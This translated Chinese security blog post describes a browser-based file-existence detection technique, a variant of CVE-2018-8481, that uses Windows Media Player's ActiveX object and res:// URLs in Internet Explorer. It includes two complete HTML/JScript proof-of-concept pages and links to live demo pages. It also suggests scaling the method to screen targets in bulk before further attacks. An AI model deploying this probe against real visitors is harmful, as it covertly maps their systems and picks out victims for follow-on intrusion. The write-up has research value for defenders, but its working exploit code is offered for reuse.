首先,我将要提出的这种方法,其实是CVE-2018-8481的变种:portal.msrc.microsoft.com

?假设攻击者想要探测目标机器的C:windowssystem32文件夹中是否存在的cmd.exe文件。 ?那么,我们就可以利用javascript调用Windows Media Player(wmplayer.exe)来载入这个文件,文件存在与否会影响播放器的行为模式。?其中利用代码中的"res:"代表资源,表示Internet Explorer从二进位文件载入内部资源。?具体格式为:res://resourcefile.ext/resourceitem

所有二进位文件的文件信息都可以在resource/16/1中找到。

res://filename/16/1

其中16=RT_VERSION,具体说明可在微软的网址https://msdn.microsoft.com/en-us/library/windows/desktop/ms648009(v=vs.85).aspx.aspx)中找到。?这个16可以视为一个常量值,不用经常更改,代表所有二进位文件中的资源。

?默认情况下,浏览器会假定所需资源文件位于C:windowssystem32中,但我们可以请求系任何路径上的文件。

?如果要检测Windows Media Player本身是否存在,我们可以利用:

res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1

为了更加进行比对,我们可以特意请求一个不存在的exe文件,看两者的请求结果。

res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1

?以上两个资源请求对应以下两个PoC:

<b> res://C:Program FilesWindows Media Playerwmplayer.exe/16/1 </b>

<br>

<br>

?

<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">

<PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1">

<param name="captioningID" value="displaylyric" />

<PARAM NAME="autoStart" VALUE="True">

</object>

<script LANGUAGE = "Jscript" FOR = Player EVENT = error()>

?

if(Player.error.item(0).errorDescription.length==189){

alert("Click the play button");

}

else

{

alert("Click the play button");

}

</script>

以下时请求不存在的文件的PoC,注意文件的后缀是不存在的ex

<b> res://C:Program FilesWindows Media Playerwmplayer.ex/16/1 </b>

<br>

<br>

?

<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">

<PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1">

<param name="captioningID" value="displaylyric" />

<PARAM NAME="autoStart" VALUE="True">

</object>

<script LANGUAGE = "Jscript" FOR = Player EVENT = error()>

?

if(Player.error.item(0).errorDesc ription.length==189){

alert("Click the play button");

}

else

{

alert("Click the play button");

}

</script>

?而这两个页面在实际操作中最明显的区别就是:当请求不存在的文件时,Windows Media Player会展示「正在打开媒体」;而请求存在的文件时,则不存在这种现象。这也导致这两种情况有一定的时间差。

?现在,让我们实际操作一下。我已经做出两个页面来展示我们如何探测特定文件的存在与否,我们以cmd.exe作为目标。

?当探测的文件存在时:pwning.click/Tdiff.php

?当探测的文件不存在时:pwning.click/Tdiff2.php

?当访问第一个网址pwning.click/Tdiff.php时,我们可以看到Windows Media Player播放器。

此时点击播放按钮,我们可以看到播放器上什么字元都没有。

当访问第二个网址pwning.click/Tdiff2.php时,我们也同样可以看到Windows Media Player播放器,而此时点击播放按钮时,我们可以看到「正在打开媒体」。

把这种方法加以改进,我们可以批量筛选存在特定文件的目标,方便我们进行下一步攻击。

以上就是这个方法的简单介绍,更为详细的说明我将在漏洞修复后放出。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:在网页中通过调用Windows Media Player来探测特定文件

原文:blog.naver.com/windowsr

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网路空间安全搜索引擎、FOEYE-网路空间检索系统、NOSEC-安全讯息平台。

为您提供:网路空间测绘、企业资产收集、企业威胁情报、应急响应服务。


推荐阅读:
相关文章